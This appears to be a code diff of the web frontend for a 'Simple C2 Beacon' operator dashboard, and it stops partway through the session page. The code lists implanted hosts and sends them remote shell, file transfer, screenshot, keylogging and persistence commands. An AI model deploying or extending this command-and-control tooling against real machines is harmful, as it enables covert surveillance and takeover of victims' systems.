href="/assets/site.webmanifest"
/>
<meta
name="viewport"
content="width=device-width, initial-scale=1.0"
/>
<title>Simple C2 Beacon</title>
<meta
name="description"
content="*Cracked*"
/>
<meta
name="author"
content=" ©AngelaMos | 2026 | CarterPerez-dev"
/>
</head>
<body>
<div id="root"></div>
<script
type="module"
src="/src/main.tsx"
></script>
</body>
</html>

View File

@ -0,0 +1,46 @@
{
"name": "c2-beacon-dashboard",
"private": true,
"version": "1.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview",
"lint": "biome check .",
"lint:fix": "biome check --write .",
"format": "biome format --write .",
"typecheck": "tsc -b",
"lint:scss": "stylelint '**/*.scss'",
"lint:scss:fix": "stylelint '**/*.scss' --fix"
},
"dependencies": {
"react": "^19.2.4",
"react-dom": "^19.2.4",
"react-error-boundary": "^5.0.0",
"react-icons": "^5.5.0",
"react-router-dom": "^7.13.0",
"sonner": "^2.0.7",
"zod": "^4.3.6",
"zustand": "^5.0.11"
},
"devDependencies": {
"@biomejs/biome": "^2.3.15",
"@types/node": "^25.2.3",
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@vitejs/plugin-react": "^5.1.4",
"sass": "^1.97.3",
"stylelint": "^17.3.0",
"stylelint-config-prettier-scss": "^1.0.0",
"stylelint-config-standard-scss": "^17.0.0",
"typescript": "~5.9.3",
"vite": "npm:rolldown-vite@7.3.1",
"vite-tsconfig-paths": "^6.1.1"
},
"pnpm": {
"overrides": {
"vite": "npm:rolldown-vite@7.3.1"
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 275 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 758 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -0,0 +1 @@
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}

View File

@ -0,0 +1,30 @@
// ===========================
// © AngelaMos | 2026
// App.tsx
// ===========================
import { RouterProvider } from 'react-router-dom'
import { Toaster } from 'sonner'
import { router } from '@/core/app/routers'
import '@/core/app/toast.module.scss'
export default function App(): React.ReactElement {
return (
<div className="app">
<RouterProvider router={router} />
<Toaster
position="top-right"
duration={2000}
theme="dark"
toastOptions={{
style: {
background: 'hsl(0, 0%, 12.2%)',
border: '1px solid hsl(0, 0%, 18%)',
color: 'hsl(0, 0%, 98%)',
},
}}
/>
</div>
)
}

View File

@ -0,0 +1,26 @@
// ===================
// © AngelaMos | 2026
// config.ts
// ===================
export const API_BASE = '/api'
export const API_ENDPOINTS = {
HEALTH: `${API_BASE}/health`,
BEACONS: `${API_BASE}/beacons`,
BEACON: (id: string) => `${API_BASE}/beacons/${id}`,
BEACON_TASKS: (id: string) => `${API_BASE}/beacons/${id}/tasks`,
} as const
export const WS_ENDPOINTS = {
OPERATOR: `${API_BASE}/ws/operator`,
} as const
export const ROUTES = {
DASHBOARD: '/',
SESSION: (id: string) => `/session/${id}`,
} as const
export const STORAGE_KEYS = {
UI: 'c2-ui-storage',
} as const

View File

@ -0,0 +1,26 @@
// ===================
// © AngelaMos | 2026
// routers.tsx
// ===================
import { createBrowserRouter, type RouteObject } from 'react-router-dom'
import { ROUTES } from '@/config'
import { Shell } from './shell'
const routes: RouteObject[] = [
{
element: <Shell />,
children: [
{
path: ROUTES.DASHBOARD,
lazy: () => import('@/pages/dashboard'),
},
{
path: '/session/:id',
lazy: () => import('@/pages/session'),
},
],
},
]
export const router = createBrowserRouter(routes)

View File

@ -0,0 +1,285 @@
// ===================
// © AngelaMos | 2026
// shell.module.scss
// ===================
@use '@/styles' as *;
$sidebar-width: 240px;
$sidebar-collapsed-width: 64px;
$header-height: 56px;
.shell {
display: flex;
min-height: 100vh;
min-height: 100dvh;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
bottom: 0;
width: $sidebar-width;
background-color: $bg-shell-base;
background-image: radial-gradient(
circle,
$bg-shell-dot 1px,
transparent 1px
);
background-size: 17px 17px;
border-right: 1px solid $border-default;
display: flex;
flex-direction: column;
z-index: $z-fixed;
@include transition-fast;
&.collapsed {
width: $sidebar-collapsed-width;
}
@include breakpoint-down('sm') {
transform: translateX(-100%);
&.open {
transform: translateX(0);
}
&.collapsed {
width: $sidebar-width;
}
}
}
.sidebarHeader {
height: $header-height;
padding: 0 $space-3;
display: flex;
align-items: center;
justify-content: space-between;
border-bottom: 1px solid $border-default;
.sidebar.collapsed & {
justify-content: center;
padding: 0;
}
}
.logo {
font-size: $font-size-base;
font-weight: $font-weight-semibold;
color: $text-default;
@include transition-fast;
.sidebar.collapsed & {
display: none;
}
}
.nav {
flex: 1;
padding: $space-3;
display: flex;
flex-direction: column;
gap: $space-1;
}
.navItem {
display: flex;
align-items: center;
gap: $space-3;
padding: $space-2 $space-3;
border-radius: $radius-md;
font-size: $font-size-sm;
color: $text-light;
@include transition-fast;
@include hover {
background: $bg-surface-200;
color: $text-default;
}
&.active {
background: $bg-selection;
color: $text-default;
.navIcon {
color: $accent-green;
}
}
.sidebar.collapsed & {
justify-content: center;
}
}
.navIcon {
width: 17px;
height: 17px;
flex-shrink: 0;
}
.navLabel {
@include transition-fast;
.sidebar.collapsed & {
display: none;
}
}
.collapseBtn {
width: 45px;
height: 45px;
border-radius: $radius-md;
color: $accent-green;
@include flex-center;
@include transition-fast;
svg {
width: 23.5px;
height: 23.5px;
}
@include hover {
background: $bg-surface-200;
color: $text-default;
}
@include breakpoint-down('sm') {
display: none;
}
}
.overlay {
position: fixed;
inset: 0;
background: rgb(0, 0, 0, 50%);
z-index: calc($z-fixed - 1);
display: none;
border: none;
padding: 0;
cursor: pointer;
@include breakpoint-down('sm') {
display: block;
}
}
.main {
flex: 1;
display: flex;
flex-direction: column;
margin-left: $sidebar-width;
min-width: 0;
@include transition-fast;
&.collapsed {
margin-left: $sidebar-collapsed-width;
}
@include breakpoint-down('sm') {
margin-left: 0;
&.collapsed {
margin-left: 0;
}
}
}
.header {
position: sticky;
top: 0;
height: $header-height;
background-color: $bg-shell-base;
background-image: radial-gradient(
circle,
$bg-shell-dot 1px,
transparent 1px
);
background-size: 17px 17px;
border-bottom: 1px solid $border-default;
z-index: $z-sticky;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 $space-4;
}
.headerLeft {
display: flex;
align-items: center;
gap: $space-3;
}
.menuBtn {
display: none;
width: 36px;
height: 36px;
border-radius: $radius-md;
color: $text-light;
align-items: center;
justify-content: center;
@include transition-fast;
svg {
width: 20px;
height: 20px;
}
@include hover {
background: $bg-surface-200;
color: $text-default;
}
@media (width <= 479px) {
display: flex;
}
}
.pageTitle {
font-size: $font-size-base;
font-weight: $font-weight-medium;
color: $text-default;
margin-left: 7px;
}
.content {
flex: 1;
overflow-y: auto;
background-color: $bg-content-base;
background-image: radial-gradient(
circle,
$bg-content-dot 1px,
transparent 1px
);
background-size: 20px 20px;
}
.loading {
@include flex-center;
height: 100%;
color: $text-muted;
}
.error {
@include flex-column-center;
height: 100%;
gap: $space-4;
padding: $space-6;
color: $error-default;
h2 {
font-size: $font-size-xl;
font-weight: $font-weight-semibold;
}
pre {
font-family: $font-mono;
font-size: $font-size-sm;
padding: $space-4;
background: $bg-surface-200;
border-radius: $radius-lg;
overflow-x: auto;
max-width: 100%;
}
}

View File

@ -0,0 +1,115 @@
// ===========================
// © AngelaMos | 2026
// shell.tsx
// ===========================
import { Suspense } from 'react'
import { ErrorBoundary } from 'react-error-boundary'
import { LuChevronLeft, LuChevronRight, LuMenu, LuRadar } from 'react-icons/lu'
import { NavLink, Outlet, useLocation } from 'react-router-dom'
import { ROUTES } from '@/config'
import { useUIStore } from '@/core/lib'
import styles from './shell.module.scss'
const NAV_ITEMS = [{ path: ROUTES.DASHBOARD, label: 'Dashboard', icon: LuRadar }]
function ShellErrorFallback({ error }: { error: Error }): React.ReactElement {
return (
<div className={styles.error}>
<h2>Something went wrong</h2>
<pre>{error.message}</pre>
</div>
)
}
function ShellLoading(): React.ReactElement {
return <div className={styles.loading}>Loading...</div>
}
function getPageTitle(pathname: string): string {
if (pathname.startsWith('/session/')) {
return 'Session'
}
const item = NAV_ITEMS.find((i) => i.path === pathname)
return item?.label ?? 'Dashboard'
}
export function Shell(): React.ReactElement {
const location = useLocation()
const { sidebarOpen, sidebarCollapsed, toggleSidebar, toggleSidebarCollapsed } =
useUIStore()
const pageTitle = getPageTitle(location.pathname)
return (
<div className={styles.shell}>
<aside
className={`${styles.sidebar} ${sidebarOpen ? styles.open : ''} ${sidebarCollapsed ? styles.collapsed : ''}`}
>
<div className={styles.sidebarHeader}>
<span className={styles.logo}>C2 Beacon</span>
<button
type="button"
className={styles.collapseBtn}
onClick={toggleSidebarCollapsed}
aria-label={sidebarCollapsed ? 'Expand sidebar' : 'Collapse sidebar'}
>
{sidebarCollapsed ? <LuChevronRight /> : <LuChevronLeft />}
</button>
</div>
<nav className={styles.nav}>
{NAV_ITEMS.map((item) => (
<NavLink
key={item.path}
to={item.path}
className={({ isActive }) =>
`${styles.navItem} ${isActive ? styles.active : ''}`
}
onClick={() => sidebarOpen && toggleSidebar()}
>
<item.icon className={styles.navIcon} />
<span className={styles.navLabel}>{item.label}</span>
</NavLink>
))}
</nav>
</aside>
{sidebarOpen && (
<button
type="button"
className={styles.overlay}
onClick={toggleSidebar}
onKeyDown={(e) => e.key === 'Escape' && toggleSidebar()}
aria-label="Close sidebar"
/>
)}
<div
className={`${styles.main} ${sidebarCollapsed ? styles.collapsed : ''}`}
>
<header className={styles.header}>
<div className={styles.headerLeft}>
<button
type="button"
className={styles.menuBtn}
onClick={toggleSidebar}
aria-label="Toggle menu"
>
<LuMenu />
</button>
<h1 className={styles.pageTitle}>{pageTitle}</h1>
</div>
</header>
<main className={styles.content}>
<ErrorBoundary FallbackComponent={ShellErrorFallback}>
<Suspense fallback={<ShellLoading />}>
<Outlet />
</Suspense>
</ErrorBoundary>
</main>
</div>
</div>
)
}

View File

@ -0,0 +1,67 @@
// ===================
// © AngelaMos | 2026
// toast.module.scss
// ===================
@use '@/styles' as *;
:global {
[data-sonner-toaster] {
--normal-bg: #{$bg-surface-100};
--normal-border: #{$border-default};
--normal-text: #{$text-default};
--success-bg: #{$bg-surface-100};
--success-border: #{$border-default};
--success-text: #{$text-default};
--error-bg: #{$bg-surface-100};
--error-border: #{$error-default};
--error-text: #{$text-default};
--warning-bg: #{$bg-surface-100};
--warning-border: #{$border-default};
--warning-text: #{$text-default};
--info-bg: #{$bg-surface-100};
--info-border: #{$border-default};
--info-text: #{$text-default};
font-family: $font-sans;
}
[data-sonner-toast] {
border-radius: $radius-md;
padding: $space-3 $space-4;
font-size: $font-size-sm;
border: 1px solid $border-default;
background: $bg-surface-100;
color: $text-default;
[data-title] {
font-weight: $font-weight-medium;
}
[data-description] {
color: $text-light;
font-size: $font-size-xs;
}
[data-close-button] {
background: none;
border: none;
padding: 0;
cursor: pointer;
color: $text-muted;
@include transition-fast;
@include hover {
color: $text-default;
}
}
}
[data-sonner-toast][data-type='error'] {
border-color: $error-default;
}
}

View File

@ -0,0 +1,6 @@
// ===================
// © AngelaMos | 2026
// index.ts
// ===================
export * from './shell.ui.store'

View File

@ -0,0 +1,55 @@
// ===================
// © AngelaMos | 2026
// shell.ui.store.ts
// ===================
import { create } from 'zustand'
import { devtools, persist } from 'zustand/middleware'
import { STORAGE_KEYS } from '@/config'
interface UIState {
sidebarOpen: boolean
sidebarCollapsed: boolean
toggleSidebar: () => void
setSidebarOpen: (open: boolean) => void
toggleSidebarCollapsed: () => void
}
export const useUIStore = create<UIState>()(
devtools(
persist(
(set) => ({
sidebarOpen: false,
sidebarCollapsed: false,
toggleSidebar: () =>
set(
(state) => ({ sidebarOpen: !state.sidebarOpen }),
false,
'ui/toggleSidebar'
),
setSidebarOpen: (open) =>
set({ sidebarOpen: open }, false, 'ui/setSidebarOpen'),
toggleSidebarCollapsed: () =>
set(
(state) => ({ sidebarCollapsed: !state.sidebarCollapsed }),
false,
'ui/toggleSidebarCollapsed'
),
}),
{
name: STORAGE_KEYS.UI,
partialize: (state) => ({
sidebarCollapsed: state.sidebarCollapsed,
}),
}
),
{ name: 'UIStore' }
)
)
export const useSidebarOpen = (): boolean => useUIStore((s) => s.sidebarOpen)
export const useSidebarCollapsed = (): boolean =>
useUIStore((s) => s.sidebarCollapsed)

View File

@ -0,0 +1,99 @@
// ===================
// © AngelaMos | 2026
// types.ts
// ===================
import { z } from 'zod/v4'
export const CommandType = z.enum([
'shell',
'sysinfo',
'proclist',
'upload',
'download',
'screenshot',
'keylog_start',
'keylog_stop',
'persist',
'sleep',
])
export type CommandType = z.infer<typeof CommandType>
export const BeaconRecord = z.object({
id: z.string(),
hostname: z.string(),
os: z.string(),
username: z.string(),
pid: z.number(),
internal_ip: z.string(),
arch: z.string(),
first_seen: z.string(),
last_seen: z.string(),
active: z.boolean(),
})
export type BeaconRecord = z.infer<typeof BeaconRecord>
export const TaskRecord = z.object({
id: z.string(),
beacon_id: z.string(),
command: CommandType,
args: z.string().nullable().optional(),
status: z.string(),
created_at: z.string(),
completed_at: z.string().nullable().optional(),
})
export type TaskRecord = z.infer<typeof TaskRecord>
export const TaskResult = z.object({
id: z.string(),
task_id: z.string(),
output: z.string().nullable().optional(),
error: z.string().nullable().optional(),
created_at: z.string(),
})
export type TaskResult = z.infer<typeof TaskResult>
export const WsBeaconList = z.object({
type: z.literal('beacon_list'),
payload: z.array(BeaconRecord),
})
export const WsBeaconConnected = z.object({
type: z.literal('beacon_connected'),
payload: BeaconRecord.omit({ active: true, first_seen: true, last_seen: true }),
})
export const WsBeaconDisconnected = z.object({
type: z.literal('beacon_disconnected'),
payload: z.object({ id: z.string() }),
})
export const WsHeartbeat = z.object({
type: z.literal('heartbeat'),
payload: z.object({ id: z.string() }),
})
export const WsTaskResult = z.object({
type: z.literal('task_result'),
payload: TaskResult,
})
export const WsTaskSubmitted = z.object({
type: z.literal('task_submitted'),
payload: z.object({ local_id: z.string(), task_id: z.string() }),
})
export const WsServerMessage = z.discriminatedUnion('type', [
WsBeaconList,
WsBeaconConnected,
WsBeaconDisconnected,
WsHeartbeat,
WsTaskResult,
WsTaskSubmitted,
])
export type WsServerMessage = z.infer<typeof WsServerMessage>
export function parseServerMessage(raw: string): WsServerMessage | null {
const result = WsServerMessage.safeParse(JSON.parse(raw))
return result.success ? result.data : null
}

View File

@ -0,0 +1,262 @@
// ===================
// © AngelaMos | 2026
// ws.ts
// ===================
import { useEffect, useRef } from 'react'
import { toast } from 'sonner'
import { create } from 'zustand'
import { devtools } from 'zustand/middleware'
import { useShallow } from 'zustand/react/shallow'
import { WS_ENDPOINTS } from '@/config'
import type { BeaconRecord, CommandType, TaskResult } from './types'
import { parseServerMessage } from './types'
interface C2State {
beacons: Record<string, BeaconRecord>
taskResults: TaskResult[]
taskIdMap: Record<string, string>
connected: boolean
}
interface C2Actions {
setBeacons: (list: BeaconRecord[]) => void
upsertBeacon: (
beacon: Omit<BeaconRecord, 'active' | 'first_seen' | 'last_seen'>
) => void
markDisconnected: (id: string) => void
markHeartbeat: (id: string) => void
addTaskResult: (result: TaskResult) => void
mapTaskId: (localId: string, taskId: string) => void
setConnected: (connected: boolean) => void
clearResults: () => void
}
type C2Store = C2State & C2Actions
export const useC2Store = create<C2Store>()(
devtools(
(set) => ({
beacons: {},
taskResults: [],
taskIdMap: {},
connected: false,
setBeacons: (list) =>
set(
() => {
const beacons: Record<string, BeaconRecord> = {}
for (const b of list) {
beacons[b.id] = b
}
return { beacons }
},
false,
'c2/setBeacons'
),
upsertBeacon: (beacon) =>
set(
(state) => {
const existing = state.beacons[beacon.id]
return {
beacons: {
...state.beacons,
[beacon.id]: {
...beacon,
active: true,
first_seen: existing?.first_seen ?? new Date().toISOString(),
last_seen: new Date().toISOString(),
},
},
}
},
false,
'c2/upsertBeacon'
),
markDisconnected: (id) =>
set(
(state) => {
const beacon = state.beacons[id]
if (!beacon) return state
return {
beacons: { ...state.beacons, [id]: { ...beacon, active: false } },
}
},
false,
'c2/markDisconnected'
),
markHeartbeat: (id) =>
set(
(state) => {
const beacon = state.beacons[id]
if (!beacon) return state
return {
beacons: {
...state.beacons,
[id]: {
...beacon,
active: true,
last_seen: new Date().toISOString(),
},
},
}
},
false,
'c2/markHeartbeat'
),
addTaskResult: (result) =>
set(
(state) => ({
taskResults: [...state.taskResults, result],
}),
false,
'c2/addTaskResult'
),
mapTaskId: (localId, taskId) =>
set(
(state) => ({
taskIdMap: { ...state.taskIdMap, [localId]: taskId },
}),
false,
'c2/mapTaskId'
),
setConnected: (connected) => set({ connected }, false, 'c2/setConnected'),
clearResults: () => set({ taskResults: [] }, false, 'c2/clearResults'),
}),
{ name: 'C2Store' }
)
)
function getWsUrl(): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
return `${protocol}//${window.location.host}${WS_ENDPOINTS.OPERATOR}`
}
export function useOperatorSocket(): {
sendTask: (
beaconId: string,
command: CommandType,
args?: string,
localId?: string
) => void
} {
const wsRef = useRef<WebSocket | null>(null)
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null)
useEffect(() => {
const {
setBeacons,
upsertBeacon,
markDisconnected,
markHeartbeat,
addTaskResult,
mapTaskId,
setConnected,
} = useC2Store.getState()
let attempt = 0
function connect(): void {
const ws = new WebSocket(getWsUrl())
wsRef.current = ws
ws.onopen = () => {
attempt = 0
setConnected(true)
}
ws.onmessage = (event) => {
const message = parseServerMessage(event.data as string)
if (message === null) return
switch (message.type) {
case 'beacon_list':
setBeacons(message.payload)
break
case 'beacon_connected':
upsertBeacon(message.payload)
toast.success(`Beacon connected: ${message.payload.hostname}`)
break
case 'beacon_disconnected':
markDisconnected(message.payload.id)
break
case 'heartbeat':
markHeartbeat(message.payload.id)
break
case 'task_result':
addTaskResult(message.payload)
break
case 'task_submitted':
mapTaskId(message.payload.local_id, message.payload.task_id)
break
}
}
ws.onclose = () => {
setConnected(false)
const delay = Math.min(1000 * 2 ** attempt, 30000)
attempt += 1
reconnectTimer.current = setTimeout(connect, delay) as ReturnType<
typeof setTimeout
>
}
ws.onerror = () => {
ws.close()
}
}
connect()
return () => {
if (reconnectTimer.current !== null) {
clearTimeout(reconnectTimer.current)
}
wsRef.current?.close()
}
}, [])
function sendTask(
beaconId: string,
command: CommandType,
args?: string,
localId?: string
): void {
const ws = wsRef.current
if (ws === null || ws.readyState !== WebSocket.OPEN) return
ws.send(
JSON.stringify({
type: 'submit_task',
payload: {
beacon_id: beaconId,
command,
args: args ?? null,
local_id: localId ?? null,
},
})
)
}
return { sendTask }
}
export const useBeacons = (): BeaconRecord[] =>
useC2Store(useShallow((s) => Object.values(s.beacons)))
export const useBeacon = (id: string): BeaconRecord | undefined =>
useC2Store((s) => s.beacons[id])
export const useTaskResults = (): TaskResult[] => useC2Store((s) => s.taskResults)
export const useTaskIdMap = (): Record<string, string> =>
useC2Store((s) => s.taskIdMap)
export const useIsConnected = (): boolean => useC2Store((s) => s.connected)

View File

@ -0,0 +1,15 @@
// ===========================
// © AngelaMos | 2026
// main.tsx
// ===========================
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import App from './App'
import './styles.scss'
createRoot(document.getElementById('root')!).render(
<StrictMode>
<App />
</StrictMode>
)

View File

@ -0,0 +1,173 @@
// ===================
// © AngelaMos | 2026
// dashboard.module.scss
// ===================
@use '@/styles' as *;
.page {
min-height: calc(100vh - 56px);
padding: $space-6;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
.header {
@include flex-between;
margin-bottom: $space-6;
}
.headerLeft {
display: flex;
align-items: center;
gap: $space-3;
}
.title {
font-size: $font-size-2xl;
font-weight: $font-weight-semibold;
color: $text-default;
}
.statusDot {
display: inline-flex;
align-items: center;
svg {
width: 10px;
height: 10px;
fill: currentColor;
stroke: currentColor;
}
&.online {
color: $accent-green;
}
&.offline {
color: $accent-red;
}
}
.count {
font-size: $font-size-sm;
font-family: $font-mono;
color: $text-lighter;
}
.countValue {
color: $accent-green;
}
.tableWrap {
overflow-x: auto;
border: 1px solid $border-default;
border-radius: $radius-lg;
background: $bg-surface-75;
}
.table {
width: 100%;
font-size: $font-size-sm;
border-collapse: collapse;
th,
td {
padding: $space-3 $space-4;
text-align: left;
white-space: nowrap;
}
th {
font-size: $font-size-xs;
font-weight: $font-weight-medium;
color: $accent-green;
text-transform: uppercase;
letter-spacing: $tracking-wide;
border-bottom: 1px solid $border-default;
background: $bg-surface-100;
}
tbody tr {
border-bottom: 1px solid $border-muted;
&:last-child {
border-bottom: none;
}
}
}
.row {
color: $text-light;
cursor: pointer;
@include transition-fast;
@include hover {
background: $bg-surface-200;
color: $text-default;
}
&:focus-visible {
outline: 2px solid $border-strong;
outline-offset: -2px;
}
}
.cellId {
font-family: $font-mono;
font-size: $font-size-xs;
color: $text-lighter;
}
.cellMono {
font-family: $font-mono;
}
.badge {
display: inline-block;
padding: $space-0-5 $space-2;
border-radius: $radius-full;
font-size: $font-size-xs;
font-weight: $font-weight-medium;
text-transform: uppercase;
letter-spacing: $tracking-wide;
}
.badgeOnline {
color: $accent-green;
background: $accent-green-dim;
}
.badgeOffline {
color: $accent-red;
background: $accent-red-dim;
}
.empty {
@include flex-column-center;
padding: $space-20 $space-6;
color: $text-muted;
gap: $space-3;
}
.emptyIcon {
width: 48px;
height: 48px;
margin-bottom: $space-2;
}
.emptyTitle {
font-size: $font-size-lg;
font-weight: $font-weight-medium;
color: $text-lighter;
}
.emptyDesc {
font-size: $font-size-sm;
color: $text-muted;
max-width: 320px;
text-align: center;
}

View File

@ -0,0 +1,147 @@
// ===========================
// © AngelaMos | 2026
// pages/dashboard/index.tsx
// ===========================
import { useEffect, useState } from 'react'
import { LuCircle, LuRadar } from 'react-icons/lu'
import { useNavigate } from 'react-router-dom'
import { ROUTES } from '@/config'
import type { BeaconRecord } from '@/core/types'
import { useBeacons, useIsConnected, useOperatorSocket } from '@/core/ws'
import styles from './dashboard.module.scss'
function formatRelativeTime(iso: string): string {
const diff = Math.floor((Date.now() - new Date(iso).getTime()) / 1000)
if (diff < 5) return 'just now'
if (diff < 60) return `${diff}s ago`
if (diff < 3600) return `${Math.floor(diff / 60)}m ago`
if (diff < 86400) return `${Math.floor(diff / 3600)}h ago`
return `${Math.floor(diff / 86400)}d ago`
}
function isOnline(lastSeen: string): boolean {
return Date.now() - new Date(lastSeen).getTime() < 30_000
}
function truncateId(id: string): string {
return id.length > 8 ? `${id.slice(0, 8)}...` : id
}
function StatusDot({ connected }: { connected: boolean }): React.ReactElement {
return (
<span
className={`${styles.statusDot} ${connected ? styles.online : styles.offline}`}
role="img"
aria-label={connected ? 'Connected' : 'Disconnected'}
>
<LuCircle />
</span>
)
}
function BeaconRow({
beacon,
onClick,
}: {
beacon: BeaconRecord
onClick: () => void
}): React.ReactElement {
const online = beacon.active && isOnline(beacon.last_seen)
return (
<tr
className={styles.row}
onClick={onClick}
onKeyDown={(e) => e.key === 'Enter' && onClick()}
tabIndex={0}
>
<td className={styles.cellId}>{truncateId(beacon.id)}</td>
<td>{beacon.hostname}</td>
<td>{beacon.os}</td>
<td>{beacon.username}</td>
<td className={styles.cellMono}>{beacon.internal_ip}</td>
<td className={styles.cellMono}>{formatRelativeTime(beacon.last_seen)}</td>
<td>
<span
className={`${styles.badge} ${online ? styles.badgeOnline : styles.badgeOffline}`}
>
{online ? 'online' : 'offline'}
</span>
</td>
</tr>
)
}
function EmptyState(): React.ReactElement {
return (
<div className={styles.empty}>
<LuRadar className={styles.emptyIcon} />
<p className={styles.emptyTitle}>No beacons connected</p>
<p className={styles.emptyDesc}>
Start a beacon implant to see it appear here in real-time.
</p>
</div>
)
}
export function Component(): React.ReactElement {
useOperatorSocket()
const beacons = useBeacons()
const connected = useIsConnected()
const navigate = useNavigate()
const [, setTick] = useState(0)
useEffect(() => {
const interval = setInterval(() => setTick((t) => t + 1), 1000)
return () => clearInterval(interval)
}, [])
return (
<div className={styles.page}>
<div className={styles.container}>
<div className={styles.header}>
<div className={styles.headerLeft}>
<h1 className={styles.title}>Operator Dashboard</h1>
<StatusDot connected={connected} />
</div>
<span className={styles.count}>
<span className={styles.countValue}>{beacons.length}</span> beacon
{beacons.length !== 1 ? 's' : ''}
</span>
</div>
{beacons.length === 0 ? (
<EmptyState />
) : (
<div className={styles.tableWrap}>
<table className={styles.table}>
<thead>
<tr>
<th>ID</th>
<th>Hostname</th>
<th>OS</th>
<th>User</th>
<th>IP</th>
<th>Last Seen</th>
<th>Status</th>
</tr>
</thead>
<tbody>
{beacons.map((b) => (
<BeaconRow
key={b.id}
beacon={b}
onClick={() => navigate(ROUTES.SESSION(b.id))}
/>
))}
</tbody>
</table>
</div>
)}
</div>
</div>
)
}
Component.displayName = 'Dashboard'

View File

@ -0,0 +1,318 @@
// ===========================
// © AngelaMos | 2026
// pages/session/index.tsx
// ===========================
import { useCallback, useEffect, useRef, useState } from 'react'
import { LuArrowLeft, LuCamera, LuCircle, LuCpu, LuList } from 'react-icons/lu'
import { Link, useParams } from 'react-router-dom'
import { ROUTES } from '@/config'
import type { CommandType, TaskResult } from '@/core/types'
import {
useBeacon,
useOperatorSocket,
useTaskIdMap,
useTaskResults,
} from '@/core/ws'
import styles from './session.module.scss'
const COMMANDS: CommandType[] = [
'shell',
'sysinfo',
'proclist',
'upload',
'download',
'screenshot',
'keylog_start',
'keylog_stop',
'persist',
'sleep',
]
interface TerminalEntry {
command: string
args: string | undefined
result: TaskResult | null
taskId: string
}
function parseInput(raw: string): { command: CommandType; args?: string } | null {
const trimmed = raw.trim()
if (trimmed.length === 0) return null
const spaceIdx = trimmed.indexOf(' ')
const cmd = spaceIdx === -1 ? trimmed : trimmed.slice(0, spaceIdx)
const args = spaceIdx === -1 ? undefined : trimmed.slice(spaceIdx + 1).trim()
if (!COMMANDS.includes(cmd as CommandType)) return null
return { command: cmd as CommandType, args: args || undefined }
}
function isOnline(lastSeen: string): boolean {
return Date.now() - new Date(lastSeen).getTime() < 30_000
}
function QuickActions({
onSend,
}: {
onSend: (cmd: CommandType) => void
}): React.ReactElement {
return (
<div className={styles.quickActions}>
<button
type="button"
onClick={() => onSend('sysinfo')}
className={styles.quickBtn}
>
<LuCpu />
sysinfo
</button>
<button
type="button"
onClick={() => onSend('proclist')}
className={styles.quickBtn}
>
<LuList />
proclist
</button>
<button
type="button"
onClick={() => onSend('screenshot')}
className={styles.quickBtn}
>
<LuCamera />
screenshot
</button>
</div>
)
}
function TerminalOutput({
entries,
}: {
entries: TerminalEntry[]
}): React.ReactElement {
const scrollRef = useRef<HTMLDivElement>(null)
// biome-ignore lint/correctness/useExhaustiveDependencies: entries prop triggers scroll-to-bottom on new data
useEffect(() => {
scrollRef.current?.scrollTo({
top: scrollRef.current.scrollHeight,
behavior: 'smooth',
})
}, [entries])
return (
<div className={styles.terminal} ref={scrollRef}>
{entries.length === 0 && (
<p className={styles.terminalHint}>
Type a command below or use the quick actions. Try: shell whoami
</p>
)}
{entries.map((entry) => (
<div key={entry.taskId} className={styles.entry}>
<div className={styles.entryCmd}>
{'> '}
{entry.command}
{entry.args ? ` ${entry.args}` : ''}
</div>
{entry.result === null ? (
<div className={styles.entryPending}>awaiting response...</div>
) : entry.result.error ? (
<div className={styles.entryError}>{entry.result.error}</div>
) : entry.command === 'screenshot' && entry.result.output ? (
<img
src={`data:image/png;base64,${entry.result.output}`}
alt="Screenshot"
className={styles.screenshot}
/>
) : (
<pre className={styles.entryOutput}>{entry.result.output}</pre>
)}
</div>
))}
</div>
)
}
export function Component(): React.ReactElement {
const { id } = useParams<{ id: string }>()
const beacon = useBeacon(id ?? '')
const { sendTask } = useOperatorSocket()
const taskResults = useTaskResults()
const taskIdMap = useTaskIdMap()
const [input, setInput] = useState('')
const [entries, setEntries] = useState<TerminalEntry[]>([])
const [history, setHistory] = useState<string[]>([])
const [historyIdx, setHistoryIdx] = useState(-1)
const inputRef = useRef<HTMLInputElement>(null)
const [suggestions, setSuggestions] = useState<CommandType[]>([])
useEffect(() => {
setEntries((prev) =>
prev.map((entry) => {
if (entry.result !== null) return entry
const realId = taskIdMap[entry.taskId]
if (!realId) return entry
const match = taskResults.find((r) => r.task_id === realId)
if (match) return { ...entry, result: match }
return entry
})
)
}, [taskResults, taskIdMap])
const handleSend = useCallback(
(command: CommandType, args?: string) => {
if (!id) return
const taskId = `local-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
setEntries((prev) => [...prev, { command, args, result: null, taskId }])
sendTask(id, command, args, taskId)
},
[id, sendTask]
)
const handleSubmit = useCallback(() => {
const parsed = parseInput(input)
if (parsed === null) return
handleSend(parsed.command, parsed.args)
setHistory((prev) => [input, ...prev])
setHistoryIdx(-1)
setInput('')
setSuggestions([])
}, [input, handleSend])
const handleKeyDown = useCallback(
(e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') {
handleSubmit()
return
}
if (e.key === 'ArrowUp') {
e.preventDefault()
if (history.length === 0) return
const next = Math.min(historyIdx + 1, history.length - 1)
setHistoryIdx(next)
setInput(history[next])
return
}
if (e.key === 'ArrowDown') {
e.preventDefault()
if (historyIdx <= 0) {
setHistoryIdx(-1)
setInput('')
return
}
const next = historyIdx - 1
setHistoryIdx(next)
setInput(history[next])
return
}
